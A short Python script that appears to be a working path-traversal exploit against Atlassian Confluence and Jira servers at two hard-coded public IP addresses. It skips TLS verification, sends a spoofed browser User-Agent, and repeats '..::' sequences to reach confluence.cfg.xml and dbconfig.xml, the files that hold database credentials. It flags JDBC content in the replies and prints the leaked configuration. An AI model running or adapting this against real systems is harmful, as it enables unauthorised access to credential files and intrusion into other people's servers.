import http.client
import ssl

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"


def ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    c.set_ciphers("DEFAULT@SECLEVEL=1")
    return c


def get(ip, host, path, timeout=15):
    try:
        conn = http.client.HTTPSConnection(ip, 443, timeout=timeout, context=ctx())
        conn.request("GET", path, headers={"Host": host, "User-Agent": UA, "Accept": "*/*"})
        r = conn.getresponse()
        b = r.read(200000).decode("utf-8", "replace")
        conn.close()
        return r.status, b
    except Exception as e:
        return None, type(e).__name__


CASES = [
    ("172.237.96.157", "172.237.96.157",
     "/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/",
     "var::atlassian::application-data::confluence::confluence.cfg.xml", "confluence"),
    ("161.35.18.224", "161.35.18.224",
     "/download/resources/jira.webresources:color-picker-popup/images/",
     "var::atlassian::application-data::jira::dbconfig.xml", "jira"),
]

for ip, host, pre, tgt, name in CASES:
    print("==", ip, name, flush=True)
    for n in range(6, 16):
        st, b = get(ip, host, pre + ("..::" * n) + tgt)
        tag = ""
        if st == 200:
            if "<database" in b or "jdbc:" in b:
                tag = "DBXML"
            elif "<?xml" in b[:200]:
                tag = "XML"
            else:
                tag = "200"
        print("  n=%d -> %s %d %s" % (n, st, len(b), tag), flush=True)
        if tag == "DBXML":
            print("   " + " ".join(b.split())[:400], flush=True)
